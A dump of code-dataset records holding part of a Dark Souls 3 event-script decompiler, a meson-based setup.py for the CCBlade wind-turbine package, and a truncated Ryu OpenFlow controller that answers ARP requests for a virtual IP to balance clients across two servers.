f\"SkipLinesIfCharacterOutsideRegion({line_count}, character={character}, region={region}{min_target_arg})\"\n return f\"SkipLinesIfCharacterRegionState({line_count}, state={boolify(state)}, character={character}, region={region}{min_target_arg})\"\n\n if instruction_index == 211:\n label, match_type = req_args\n label = get_enum_name(Label, label, True)\n match_type = get_enum_name(HollowArenaMatchType, match_type, True)\n return f\"GotoIfHollowArenaMatchType({label}, match_type={match_type})\"\n\n if instruction_class == 1005:\n\n if instruction_index == 1:\n line_count, state, obj, target_comparison_type, target_count = req_args\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"SkipLinesIfObjectDestroyed({line_count}, obj={obj}{target_args})\"\n elif state == 0:\n return f\"SkipLinesIfObjectNotDestroyed({line_count}, obj={obj}{target_args})\"\n return f\"SkipLinesIfObjectDestructionState({line_count}, obj={obj}, state={state}{target_args})\"\n\n if instruction_index == 2:\n event_end_type, state, obj, target_comparison_type, target_count = req_args\n target_args = get_target_args(target_comparison_type, target_count)\n if event_end_type == EventEndType.End:\n if state == 1:\n return f\"EndIfObjectDestroyed({obj}{target_args})\"\n elif state == 0:\n return f\"EndIfObjectNotDestroyed({obj}{target_args})\"\n elif event_end_type == EventEndType.Restart:\n if state == 1:\n return f\"RestartIfObjectDestroyed({obj}{target_args})\"\n elif state == 0:\n return f\"RestartIfObjectNotDestroyed({obj}{target_args})\"\n return f\"TerminateIfObjectDestructionState(event_end_type={event_end_type}, obj={obj}, state={state}{target_args})\"\n\n if instruction_index == 101:\n label, state, obj, target_comparison_type, target_count = req_args\n label = get_enum_name(Label, label, True)\n target_args = get_target_args(target_comparison_type, target_count)\n if state == 1:\n return f\"GotoIfObjectDestroyed({label}, obj={obj}{target_args})\"\n if state == 0:\n return f\"GotoIfObjectNotDestroyed({label}, obj={obj}{target_args})\"\n return f\"GotoIfObjectDestructionState({label}, obj={obj}, state={state}{target_args})\"\n\n if instruction_class == 1014:\n\n if 0 <= instruction_index <= 20:\n return f\"DefineLabel({instruction_index})\"\n else:\n raise ValueError(\"Label instruction index must be between 0 and 9.\")\n\n if instruction_class == 2002:\n\n if instruction_index == 6:\n cutscene, cutscene_type, region, area_id, block_id, player_id, time_period_id = req_args\n game_map = get_game_map_variable_name(area_id, block_id, game_module)\n cutscene_type = get_enum_name(CutsceneType, cutscene_type, True)\n return (f\"PlayCutsceneAndMovePlayerAndSetTimePeriod({cutscene}, {cutscene_type}, {region}, \"\n f\"{game_map}, player_id={player_id}, time_period_id={time_period_id})\")\n\n if instruction_index == 7:\n cutscene, cutscene_type, player_id, time_period_id = req_args\n cutscene_type = get_enum_name(CutsceneType, cutscene_type, True)\n return f\"PlayCutsceneAndSetTimePeriod({cutscene}, {cutscene_type}, {player_id}, {time_period_id})\"\n\n if instruction_index == 8:\n region, area_id, block_id = req_args\n game_map = get_game_map_variable_name(area_id, block_id, game_module)\n return f\"PlayCutsceneAndMovePlayer_Dummy({region}, {game_map})\"\n\n if instruction_index == 9:\n cutscene, cutscene_type, ceremony_id, unknown, region, area_id, block_id, player_id = req_args\n game_map = get_game_map_variable_name(area_id, block_id, game_module)\n cutscene_type = get_enum_name(CutsceneType, cutscene_type, True)\n return (f\"PlayCutsceneAndMovePlayerAndSetMapCeremony({cutscene}, cutscene_type={cutscene_type}, \"\n f\"ceremony_id={ceremony_id}, unknown={unknown}, region={region}, game_map={game_map}, \"\n f\"player_id={player_id})\")\n\n if instruction_index == 10:\n cutscene, cutscene_type, ceremony_id, unknown, player_id = req_args\n cutscene_type = get_enum_name(CutsceneType, cutscene_type, True)\n return f\"PlayCutsceneAndSetMapCeremony(cutscene={cutscene}, cutscene_type={cutscene_type}, ceremony_id={ceremony_id}, unknown={unknown}, player_id={player_id})\"\n\n if instruction_index == 11:\n cutscene, cutscene_type, region, area_id, block_id, player_id, unknown1, unknown2 = req_args\n game_map = get_game_map_variable_name(area_id, block_id, game_module)\n cutscene_type = get_enum_name(CutsceneType, cutscene_type, True)\n return f\"PlayCutsceneAndMovePlayer_WithUnknowns(cutscene={cutscene}, cutscene_type={cutscene_type}, region={region}, game_map={game_map}, player_id={player_id}, unknown1={unknown1}, unknown2={unknown2})\"\n\n if instruction_index == 12:\n cutscene, cutscene_type, region, area_id, block_id, player_id, other_region = req_args\n game_map = get_game_map_variable_name(area_id, block_id, game_module)\n cutscene_type = get_enum_name(CutsceneType, cutscene_type, True)\n return f\"PlayCutsceneAndMovePlayer_WithSecondRegion(cutscene={cutscene}, cutscene_type={cutscene_type}, region={region}, game_map={game_map}, player_id={player_id}, other_region={other_region})\"\n\n if instruction_class == 2003:\n\n if instruction_index == 11:\n state, character, slot, name = req_args\n character = 'PLAYER' if character == 10000 else character\n slot_arg = f', slot={slot}' if slot != 0 else ''\n if state == 1:\n return f\"EnableBossHealthBar({character}, name={name}{slot_arg})\"\n elif state == 0:\n return f\"DisableBossHealthBar({character}, name={name}{slot_arg})\"\n return f\"SetBossHealthBarState({character}, name={name}, slot={slot}, state={state})\"\n\n if instruction_index == 15:\n miniboss_id, = req_args\n return f\"HandleMinibossDefeat(miniboss_id={miniboss_id})\"\n\n if instruction_index == 18:\n entity, animation_id, loop, wait, skip_transition, unknown1, unknown2 = req_args\n entity_id = 'PLAYER' if entity == 10000 else entity\n keyword_args = []\n if loop != 0:\n keyword_args.append(f'loop={boolify(loop)}')\n if wait != 0:\n keyword_args.append(f'wait_for_completion={boolify(wait)}')\n if skip_transition != 0:\n keyword_args.append(f'skip_transition={boolify(skip_transition)}')\n if unknown1 != 0:\n keyword_args.append(f'unknown1={unknown1}')\n if unknown2 != 1.0:\n keyword_args.append(f'unknown2={unknown2}')\n keyword_args = ', '.join(keyword_args)\n if keyword_args:\n return f\"ForceAnimation({entity_id}, {animation_id}, {keyword_args})\"\n return f\"ForceAnimation({entity_id}, {animation_id})\"\n\n if instruction_index == 27:\n arg1, = req_args\n return f\"Unknown_2003_27(arg1={arg1})\"\n\n if instruction_index == 41:\n source_flag, source_flag_bit_count, operand, target_flag, target_flag_bit_count, calculation_type = req_args\n calculation_type = get_enum_name(CalculationType, calculation_type, True)\n return (f\"EventValueOperation({source_flag}, {source_flag_bit_count}, {operand}, {target_flag}, \"\n f\"{target_flag_bit_count}, {calculation_type})\")\n\n if instruction_index == 42:\n item_type, item, flag, bit_count = req_args\n item_type = get_enum_name(ItemType, item_type)\n return f\"StoreItemAmountSpecifiedByFlagValue({item_type}, {item}, {flag}, {bit_count})\"\n\n if instruction_index == 43:\n item_type, item, flag, bit_count = req_args\n item_type = get_enum_name(ItemType, item_type)\n return f\"GivePlayerItemAmountSpecifiedByFlagValue({item_type}, {item}, {flag}, {bit_count})\"\n\n if instruction_index == 44:\n state, = req_args\n if state == 1:\n return \"EnableDirectionDisplay()\"\n if state == 0:\n return \"DisableDirectionDisplay()\"\n return f\"SetDirectionDisplayState(state={boolify(state)})\"\n\n if instruction_index == 45:\n collision, level, grid_x, grid_y, state = req_args\n if state == 1:\n return f\"EnableMapHitGridCorrespondence({collision}, {level}, {grid_x}, {grid_y})\"\n if state == 0:\n return f\"DisableMapHitGridCorrespondence({collision}, {level}, {grid_x}, {grid_y})\"\n return f\"SetMapHitGridCorrespondence({collision}, {level}, {grid_x}, {grid_y}, state={boolify(state)})\"\n\n if instruction_index == 46:\n content_image_part_id, state = req_args\n return f\"SetMapContentImageDisplayState(content_image_part_id={content_image_part_id}, state={state})\"\n\n if instruction_index == 47:\n hierarchy, grid_coord_x, grid_coord_y, state = req_args\n return f\"SetMapBoundariesDisplay(hierarchy={hierarchy}, grid_coord_x={grid_coord_x}, grid_coord_y={grid_coord_y}, state={state})\"\n\n if instruction_index == 48:\n region, state, duration, wind_parameter_id = req_args\n return f\"SetAreaWind(region={region}, state={state}, duration={duration}, wind_parameter_id={wind_parameter_id})\"\n\n if instruction_index == 49:\n respawn_point_id, = req_args\n return f\"MovePlayerToRespawnPoint(respawn_point_id={respawn_point_id})\"\n\n if instruction_index == 50:\n spawner_id, = req_args\n return f\"StartEnemySpawner(spawner_id={spawner_id})\"\n\n if instruction_index == 51:\n sign_type, character, region, summon_flag, dismissal_flag = req_args\n sign_type = get_enum_name(SingleplayerSummonSignType, sign_type, True)\n return (f\"SummonNPC({sign_type}, {character}, {region}, summon_flag={summon_flag}, \"\n f\"dismissal_flag={dismissal_flag})\")\n\n if instruction_index == 52:\n warp_object_id, = req_args\n return f\"InitializeWarpObject(warp_object_id={warp_object_id})\"\n\n if instruction_index == 54:\n character, = req_args\n return f\"MakeEnemyAppear({character})\"\n\n if instruction_index == 57:\n ceremony_id, = req_args\n return f\"SetCurrentMapCeremony(ceremony_id={ceremony_id})\"\n\n if instruction_index == 59:\n area_id, block_id, ceremony_id = req_args\n game_map = get_game_map_variable_name(area_id, block_id, game_module)\n return f\"SetMapCeremony(game_map={game_map}, ceremony_id={ceremony_id})\"\n\n if instruction_index == 61:\n message, = req_args\n return f\"DisplayEpitaphMessage(message={message})\"\n\n if instruction_index == 62:\n flag, state = req_args\n state = get_enum_name(FlagState, state, True)\n return f\"SetNetworkConnectedFlagState(flag={flag}, state={boolify(state)})\"\n\n if instruction_index == 63:\n first_flag, last_flag, state = req_args\n state = get_enum_name(RangeState, state, True)\n return f\"SetNetworkConnectedFlagRangeState(flag_range=({first_flag}, {last_flag}), state={state})\"\n\n if instruction_index == 64:\n level_1_count, level_2_count = req_args\n return f\"SetOmissionModeCounts(level_1_count={level_1_count}, level_2_count={level_2_count})\"\n\n if instruction_index == 65:\n return f\"ResetOmissionModeCountsToDefault()\"\n\n if instruction_index == 66:\n item_type, item_id, item_lot_id, trade_completed_flag, crow_response_flag = req_args\n item_type = get_enum_name(ItemType, item_type, True)\n return f\"InitializeCrowTrade(item_type={item_type}, item_id={item_id}, item_lot_id={item_lot_id}, trade_completed_flag={trade_completed_flag}, crow_response_flag={crow_response_flag})\"\n\n if instruction_index == 67:\n region, = req_args\n return f\"InitializeCrowTradeRegion(region={region})\"\n\n if instruction_index == 70:\n state, = req_args\n return f\"SetNetworkInteractionState(state={boolify(state)})\"\n\n if instruction_index == 71:\n is_invisible, = req_args\n if is_invisible == 1:\n return f\"DisableHUDVisibility()\"\n elif is_invisible == 0:\n return f\"EnableHUDVisibility()\"\n return f\"SetHUDVisibility(is_invisible={is_invisible})\"\n\n if instruction_index == 72:\n bonfire, animation, state = req_args\n if state == 1:\n return f\"EnableBonfireWarping(bonfire={bonfire}, animation={animation})\"\n if state == 0:\n return f\"DisableBonfireWarping(bonfire={bonfire}, animation={animation})\"\n return f\"SetBonfireWarpingState(bonfire={bonfire}, animation={animation}, state={state})\"\n\n if instruction_index == 73:\n unknown1, unknown2 = req_args\n return f\"SetAutogeneratedEventSpecificFlag_1(unknown1={unknown1}, unknown2={unknown2})\"\n\n if instruction_index == 74:\n boss, banner = req_args\n banner = get_enum_name(BannerType, banner, True)\n return f\"HandleBossDefeatAndDisplayBanner(boss={boss}, banner={banner})\"\n\n if instruction_index == 75:\n unknown1, unknown2 = req_args\n return f\"SetAutogeneratedEventSpecificFlag_2(unknown1={unknown1}, unknown2={unknown2})\"\n\n if instruction_index == 76:\n tips_disabled, = req_args\n if tips_disabled == 1:\n return \"DisableLoadingScreenTips()\"\n elif tips_disabled == 0:\n return \"EnableLoadingScreenTips()\"\n return f\"SetLoadingScreenTipsState(tips_disabled={tips_disabled})\"\n\n if instruction_index == 77:\n gesture_id, item_type, item_id = req_args\n item_type = get_enum_name(ItemType, item_type, True)\n return f\"AwardGestureItem(gesture_id={gesture_id}, item_type={item_type}, item_id={item_id})\"\n\n if instruction_index == 78:\n character, = req_args\n return f\"SendNPCSummonHome({character})\"\n\n if instruction_index == 79:\n unknown1, = req_args\n return f\"Unknown_2003_79(unknown1={unknown1})\"\n\n if instruction_index == 80:\n state, character, slot, name, decoration = req_args\n if state == 1:\n return f\"EnableDecoratedBossHealthBar({character}, slot={slot}, name={name}, decoration={decoration})\"\n if state == 0:\n return f\"DisableDecoratedBossHealthBar({character}, slot={slot}, name={name}, decoration={decoration})\"\n return f\"SetDecoratedBossHealthBarState(state={state}, character={character}, slot={slot}, name={name}, decoration={decoration})\"\n\n if instruction_index == 81:\n sign_type, character, region, summon_flag, dismissal_flag = req_args\n sign_type = get_enum_name(SummonSignType, sign_type, True)\n return f\"PlaceNPCSummonSign_WithoutEmber(sign_type={sign_type}, character={character}, region={region}, summon_flag={summon_flag}, dismissal_flag={dismissal_flag})\"\n\n if instruction_class == 2004:\n\n if instruction_index == 8:\n character, special_effect_id = req_args\n character = 'PLAYER' if character == 10000 else character\n return f\"AddSpecialEffect({character}, {special_effect_id})\"\n\n if instruction_index == 14:\n character, target_entity, animation, wait_for_completion = req_args\n character = 'PLAYER' if character == 10000 else character\n target_entity = 'PLAYER' if target_entity == 10000 else target_entity\n return (f\"RotateToFaceEntity({character}, {target_entity}, animation={animation}, \"\n f\"wait_for_completion={boolify(wait_for_completion)})\")\n\n if instruction_index == 48:\n character, bit_count, state_id = req_args\n character = 'PLAYER' if character == 10000 else character\n return f\"ChangeCharacterCloth({character}, bit_count={bit_count}, state_id={state_id})\"\n\n if instruction_index == 49:\n character, patrol_information_id = req_args\n return f\"ChangePatrolBehavior({character}, patrol_information_id={patrol_information_id})\"\n\n if instruction_index == 50:\n character, lock_on_model_point, state = req_args\n character = 'PLAYER' if character == 10000 else character\n return f\"SetLockOnPoint({character}, lock_on_model_point={lock_on_model_point}, state={boolify(state)})\"\n\n if instruction_index == 51:\n recipient_character, recipient_target_rigid_index, recipient_model_point, attachment_character, attachment_target_rigid_index, attachment_model_point = req_args\n return f\"Test_RequestRagdollRestraint(recipient_character={recipient_character}, recipient_target_rigid_index={recipient_target_rigid_index}, recipient_model_point={recipient_model_point}, attachment_character={attachment_character}, attachment_target_rigid_index={attachment_target_rigid_index}, attachment_model_point={attachment_model_point})\"\n\n if instruction_index == 52:\n character_init_param, = req_args\n return f\"ChangePlayerCharacterInitParam(character_init_param={character_init_param})\"\n\n if instruction_index == 53:\n character, = req_args\n return f\"AdaptSpecialEffectHealthChangeToNPCPart({character})\"\n\n if instruction_index == 54:\n character, state = req_args\n character = 'PLAYER' if character == 10000 else character\n return f\"ImmediateActivate({character}, state={boolify(state)})\"\n\n if instruction_index == 55:\n character, distance = req_args\n return f\"SetCharacterTalkRange({character}, distance={distance})\"\n\n if instruction_index == 57:\n character, = req_args\n character = 'PLAYER' if character == 10000 else character\n return f\"IncrementCharacterNewGameCycle({character})\"\n\n if instruction_index == 58:\n character, state = req_args\n return f\"SetMultiplayerBuffs_NonBoss({character}, state={boolify(state)})\"\n\n if instruction_index == 59:\n character, state = req_args\n character = 'PLAYER' if character == 10000 else character\n return f\"Unknown_2004_59({character}, state={boolify(state)})\"\n \n if instruction_index == 60:\n level_count, = req_args\n return f\"SetPlayerRemainingYoelLevels(level_count={level_count})\"\n\n if instruction_class == 2005:\n\n if instruction_index == 16:\n return f\"ExtinguishBurningObjects()\"\n\n if instruction_index == 17:\n obj, ceremony_id, unknown = req_args\n return f\"ShowObjectByMapCeremony(obj={obj}, ceremony_id={ceremony_id}, unknown={unknown})\"\n\n if instruction_index == 19:\n obj, = req_args\n return f\"DestroyObject_NoSlot(obj={obj})\"\n\n if instruction_class == 2007:\n\n if instruction_index == 10:\n message, button_type, number_buttons, anchor_entity, display_distance, left_flag, right_flag, cancel_flag = req_args\n button_type = get_enum_name(ButtonType, button_type, True)\n number_buttons = get_enum_name(NumberButtons, number_buttons, True)\n return f\"DisplayDialogAndSetFlags(message={message}, button_type={button_type}, number_buttons={number_buttons}, anchor_entity={anchor_entity}, display_distance={display_distance}, left_flag={left_flag}, right_flag={right_flag}, cancel_flag={cancel_flag})\"\n\n if instruction_index == 11:\n message, = req_args\n return f\"DisplayAreaWelcomeMessage(message={message})\"\n\n if instruction_index == 12:\n message, unknown, pad_enabled = req_args\n return f\"DisplayHollowArenaMessage(message={message}, unknown={unknown}, pad_enabled={boolify(pad_enabled)})\"\n\n if instruction_class == 2009:\n\n if instruction_index == 5:\n flag, obj, reaction_distance, reaction_angle, initial_sword_number, sword_level = req_args\n return f\"RegisterHealingFountain(flag={flag}, obj={obj}, reaction_distance={reaction_distance}, reaction_angle={reaction_angle}, initial_sword_number={initial_sword_number}, sword_level={sword_level})\"\n\n if instruction_index == 8:\n unknown, = req_args\n return f\"BanishInvaders(unknown={unknown})\"\n\n if instruction_index == 10:\n unknown, = req_args\n return f\"BanishPhantomsAndUpdateServerPvPStats(unknown={unknown})\"\n\n if instruction_index == 11:\n unknown, = req_args\n return f\"BanishPhantoms(unknown={unknown})\"\n\n if instruction_class == 2010:\n\n if instruction_index == 4:\n sound_id, state = req_args\n if state == 1:\n return f\"EnableBossMusic({sound_id})\"\n elif state == 0:\n return f\"DisableBossMusic({sound_id})\"\n return f\"SetBossMusicState(sound_id={sound_id}, state={boolify(state)})\"\n\n if instruction_index == 5:\n entity_id, state = req_args\n state = get_enum_name(DoorState, state, True)\n return f\"NotifyDoorEventSoundDampening(entity_id={entity_id}, state={boolify(state)})\"\n\n if instruction_index == 6:\n sound_id, state, fade_duration = req_args\n if state == 1:\n return f\"EnableSoundEventWithFade(sound_id={sound_id}, fade_duration={fade_duration})\"\n elif state == 0:\n return f\"DisableSoundEventWithFade(sound_id={sound_id}, fade_duration={fade_duration})\"\n return f\"SetMapSoundWithFade(sound_id={sound_id}, state={state}, fade_duration={fade_duration})\"\n\n if instruction_index == 7:\n entity, = req_args\n return f\"Unknown_2010_07(entity={entity})\"\n\n if instruction_class == 2011:\n\n if instruction_index == 3:\n collision, state = req_args\n return f\"SetCollisionResStatecollisionsn={collision}, state={boolify(state)})\"\n\n if instruction_index == 4:\n collision, state = req_args\n return f\"ActivateCollisionAndCreateNavmesh(collision={collision}, state={boolify(state)})\"\n\n if instruction_class == 2012:\n\n if instruction_index == 8:\n state, = req_args\n if state == 1:\n return \"EnableAreaWelcomeMessage()\"\n elif state == 0:\n return \"DisableAreaWelcomeMessage()\"\n return f\"SetAreaWelcomeMessageState(state={boolify(state)})\"\n\n if instruction_class == 2013:\n\n if instruction_index == 1:\n name, = req_args\n return f\"CreatePlayLog(name={name})\"\n\n if instruction_index == 2:\n measurement_id, name, overwrite = req_args\n return f\"StartPlayLogMeasurement(measurement_id={measurement_id}, name={name}, overwrite={overwrite})\"\n\n if instruction_index == 3:\n measurement_id, = req_args\n return f\"StopPlayLogMeasurement(measurement_id={measurement_id})\"\n\n if instruction_index == 4:\n category, name, output_multiplayer_state = req_args\n category = get_enum_name(PlayerPlayLogParameter, category, True)\n output_multiplayer_state = get_enum_name(PlayLogMultiplayerType, output_multiplayer_state, True)\n return f\"PlayLogParameterOutput(category={category}, name={name}, output_multiplayer_state={output_multiplayer_state})\"\n\n raise InstructionNotFoundError(f\"Instruction not decompiled: {instruction_class}[{instruction_index:02d}].\")\n","sub_path":"soulstruct/events/darksouls3/decompiler.py","file_name":"decompiler.py","file_ext":"py","file_size_in_byte":56033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"457097811","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n# setup.py\n# only if building in place: ``python setup.py build_ext --inplace``\nimport os\nimport re\nimport platform\nimport shutil\nimport setuptools\nimport subprocess\n\n\ndef run_meson_build(staging_dir):\n prefix = os.path.join(os.getcwd(), staging_dir)\n purelibdir = \".\"\n\n # check if meson extra args are specified\n meson_args = \"\"\n if \"MESON_ARGS\" in os.environ:\n meson_args = os.environ[\"MESON_ARGS\"]\n\n if platform.system() == \"Windows\":\n if not \"FC\" in os.environ:\n os.environ[\"FC\"] = \"gfortran\"\n if not \"CC\" in os.environ:\n os.environ[\"CC\"] = \"gcc\"\n\n # configure\n meson_path = shutil.which(\"meson\")\n meson_call = (\n f\"{meson_path} setup {staging_dir} --prefix={prefix} \"\n + f\"-Dpython.purelibdir={purelibdir} -Dpython.platlibdir={purelibdir} {meson_args}\"\n )\n sysargs = meson_call.split(\" \")\n sysargs = [arg for arg in sysargs if arg != \"\"]\n print(sysargs)\n p1 = subprocess.run(sysargs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n os.makedirs(staging_dir, exist_ok=True)\n setup_log = os.path.join(staging_dir, \"setup.log\")\n with open(setup_log, \"wb\") as f:\n f.write(p1.stdout)\n if p1.returncode != 0:\n with open(setup_log, \"r\") as f:\n print(f.read())\n raise OSError(sysargs, f\"The meson setup command failed! Check the log at {setup_log} for more information.\")\n\n # build\n meson_call = f\"{meson_path} compile -vC {staging_dir}\"\n sysargs = meson_call.split(\" \")\n sysargs = [arg for arg in sysargs if arg != \"\"]\n print(sysargs)\n p2 = subprocess.run(sysargs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n compile_log = os.path.join(staging_dir, \"compile.log\")\n with open(compile_log, \"wb\") as f:\n f.write(p2.stdout)\n if p2.returncode != 0:\n with open(compile_log, \"r\") as f:\n print(f.read())\n raise OSError(\n sysargs, f\"The meson compile command failed! Check the log at {compile_log} for more information.\"\n )\n\n\ndef copy_shared_libraries():\n build_path = os.path.join(staging_dir, \"ccblade\")\n for root, _dirs, files in os.walk(build_path):\n for file in files:\n # move ccblade to just under staging_dir\n if file.endswith((\".so\", \".lib\", \".pyd\", \".pdb\", \".dylib\", \".dll\")):\n if \".so.p\" in root or \".pyd.p\" in root: # excludes intermediate object files\n continue\n file_path = os.path.join(root, file)\n new_path = str(file_path)\n match = re.search(staging_dir, new_path)\n new_path = new_path[match.span()[1] + 1 :]\n print(f\"Copying build file {file_path} -> {new_path}\")\n shutil.copy(file_path, new_path)\n\n\nif __name__ == \"__main__\":\n # This is where the meson build system will install to, it is then\n # used as the sources for setuptools\n staging_dir = \"meson_build\"\n\n # this keeps the meson build system from running more than once\n if \"dist\" not in str(os.path.abspath(__file__)):\n cwd = os.getcwd()\n run_meson_build(staging_dir)\n os.chdir(cwd)\n copy_shared_libraries()\n\n #docs_require = \"\"\n #req_txt = os.path.join(\"doc\", \"requirements.txt\")\n #if os.path.isfile(req_txt):\n # with open(req_txt) as f:\n # docs_require = f.read().splitlines()\n\n init_file = os.path.join(\"ccblade\", \"__init__.py\")\n #__version__ = re.findall(\n # r\"\"\"__version__ = [\"']+([0-9\\.]*)[\"']+\"\"\",\n # open(init_file).read(),\n #)[0]\n\n setuptools.setup(\n name='CCBlade',\n version='1.3.0',\n description='Blade element momentum aerodynamics for wind turbines',\n long_description=\"CCBlade is a Python package that provides a blade element momentum theory solution for wind turbine blade design\",\n author='NREL WISDEM Team',\n author_email='systems.engineering@nrel.gov',\n install_requires=[\n \"numpy\",\n \"scipy\",\n \"openmdao\",\n ],\n extras_require={\n \"testing\": [\"pytest\"],\n },\n python_requires=\">=3.8\",\n packages=[\"ccblade\"],\n package_data={\"\": [\"*.yaml\", \"*.so\", \"*.lib\", \"*.pyd\", \"*.pdb\", \"*.dylib\", \"*.dll\"]},\n license='Apache License, Version 2.0',\n zip_safe=False,\n )\n\n#os.environ['NPY_DISTUTILS_APPEND_FLAGS'] = '1'\n\n# package_data={'ccblade': []},\n# ext_modules=[Extension('ccblade._bem',\n# sources=[os.path.join('ccblade','src','bem.f90')],\n# extra_compile_args=['-O2','-fPIC','-std=c11'])],\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"55944674","text":"# Copyright (C) 2011 Nippon Telegraph and Telephone Corporation.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport ryu.lib \nfrom ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import CONFIG_DISPATCHER, MAIN_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_3\nfrom ryu.lib.packet import packet\nfrom ryu.lib.packet import ethernet\nfrom ryu.lib.packet import ether_types\nfrom ryu.lib.packet import arp\nfrom ryu.ofproto import ether\n#from ryu.lib.packet.ethernet import ethernet as eth_pkt\n#from ryu.lib.packet.arp import arp as arp_pkt\n\nclass MyController(app_manager.RyuApp):\n OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\n\n def __init__(self, *args, **kwargs):\n super(MyController, self).__init__(*args, **kwargs)\n \n ip_prefix = '10.0.0.'\n mac_prefix = '00:00:00:00:00:0'\n \n self.hosts_to_addresses = {}\n self.addresses_to_hosts = {\n 'ips': {}, \n 'macs': {},\n 'ports': {}\n }\n for i in range (6):\n idx = i + 1\n ip = '{}{}'.format(ip_prefix, idx)\n mac = '{}{}'.format(mac_prefix, idx)\n port = idx\n host = 'h{}'.format(idx)\n self.hosts_to_addresses[host] = {\n 'ip': ip,\n 'mac': mac, \n 'port': port\n }\n self.addresses_to_hosts['ips'][ip] = host\n self.addresses_to_hosts['macs'][mac] = host\n self.addresses_to_hosts['macs'][port] = host\n \n self.current_server_host = 'h5'\n\n\n # Assuming that we want to keep this method the same so that on configuration we know to get messages \n # The other thing that might be possible is to only set up to receive messages on arp requests. \n @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\n def switch_features_handler(self, ev):\n self.logger.debug(\"Hitting the switch features handler on configuration\")\n datapath = ev.msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n # install table-miss flow entry\n #\n # We specify NO BUFFER to max_len of the output action due to\n # OVS bug. At this moment, if we specify a lesser number, e.g.,\n # 128, OVS will send Packet-In with invalid buffer_id and\n # truncated packet data. In that case, we cannot output packets\n # correctly. The bug has been fixed in OVS v2.1.0.\n match = parser.OFPMatch(arp_op=1, eth_type=0x0806 )\n actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER,\n ofproto.OFPCML_NO_BUFFER)]\n\n self.logger.debug(\"Sending flow to switch to intercept any packet\")\n self.add_flow(datapath, 0, match, actions)\n\n \n # This method can stay the same\n def add_flow(self, datapath, priority, match, actions, buffer_id=None):\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n inst = [parser.OFPInstructionActions(ofproto.OFPIT_APPLY_ACTIONS,\n actions)]\n if buffer_id:\n mod = parser.OFPFlowMod(datapath=datapath, buffer_id=buffer_id,\n priority=priority, match=match,\n instructions=inst)\n else:\n mod = parser.OFPFlowMod(datapath=datapath, priority=priority,\n match=match, instructions=inst)\n datapath.send_msg(mod)\n\n\n @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\n def _packet_in_handler(self, ev):\n # If you hit this you might want to increase\n # the \"miss_send_length\" of your switch\n if ev.msg.msg_len < ev.msg.total_len:\n self.logger.debug(\"packet truncated: only %s of %s bytes\",\n ev.msg.msg_len, ev.msg.total_len)\n\n\n msg = ev.msg\n datapath = msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n in_port = msg.match['in_port']\n pkt = packet.Packet(msg.data)\n eth = pkt.get_protocols(ethernet.ethernet)[0]\n\n\n if eth.ethertype == ether_types.ETH_TYPE_LLDP:\n # ignore lldp packet\n return\n dst = eth.dst\n src = eth.src\n\n self.logger.debug(\"Received packet from switch. Input port: {}, Dst Mac: {}, Src Mac: {} \".format(in_port, dst, src))\n self.handle_packet(msg)\n\n def switch_current_server_host(self):\n self.current_server_host = 'h6' if self.current_server_host == 'h5' else 'h5'\n\n def handle_packet(self, msg):\n datapath = msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n in_port = msg.match['in_port']\n \n pkt = packet.Packet(msg.data)\n \n arp_pkt = pkt.get_protocol(arp.arp)\n client_host_ip_list = ['10.0.0.1', '10.0.0.2', '10.0.0.3', '10.0.0.4']\n server_host_ip_list = ['10.0.0.5', '10.0.0.6']\n \n if arp_pkt is not None:\n \n # if the arp request is for the virtual ip\n if arp_pkt.opcode == 1 and arp_pkt.dst_ip == '10.0.0.10' and arp_pkt.src_ip in client_host_ip_list: \n self.handle_client_arp_request(msg, arp_pkt)\n\n elif arp_pkt.opcode == 1 and arp_pkt.dst_ip in client_host_ip_list and arp_pkt.src_ip in server_host_ip_list:\n self.handle_server_arp_request(msg, arp_pkt)\n \n else:\n print(\"Got a outlier arp request. DST Ip: {}\".format(arp_pkt.dst_ip))\n\n else:\n self.logger.debug(\"Got a packet that was not an arp request\")\n\n def handle_client_arp_request(self, msg, arp_pkt):\n self.logger.debug(\"Packet is Client Arp request. Dst IP: {}, Src IP: {}, Src Mac: {}\".format(arp_pkt.dst_ip, arp_pkt.src_ip, arp_pkt.src_mac))\n\n # set the relevant response arp fields\n request_host = self.addresses_to_hosts['ips'][arp_pkt.src_ip]\n\n resp_arp_src_ip = '10.0.0.10'\n # resp_arp_src_ip = self.hosts_to_addresses[self.current_server_host]['ip']\n resp_arp_src_mac = self.hosts_to_addresses[self.current_server_host]['mac']\n resp_arp_dst_ip = arp_pkt.src_ip\n resp_arp_dst_mac = arp_pkt.src_mac\n \n resp_arp_addresses = {\n 'src_ip': resp_arp_src_ip, \n 'src_mac': resp_arp_src_mac,\n 'dst_ip': resp_arp_dst_ip,\n 'dst_mac': resp_arp_dst_mac\n }\n \n # we want to set the flow before we send back the arp response\n self.add_client_flow(msg, arp_pkt)\n self.add_server_flow(msg, arp_pkt, request_host)\n\n # send the arp response\n out_port = self.hosts_to_addresses[request_host]['port']\n 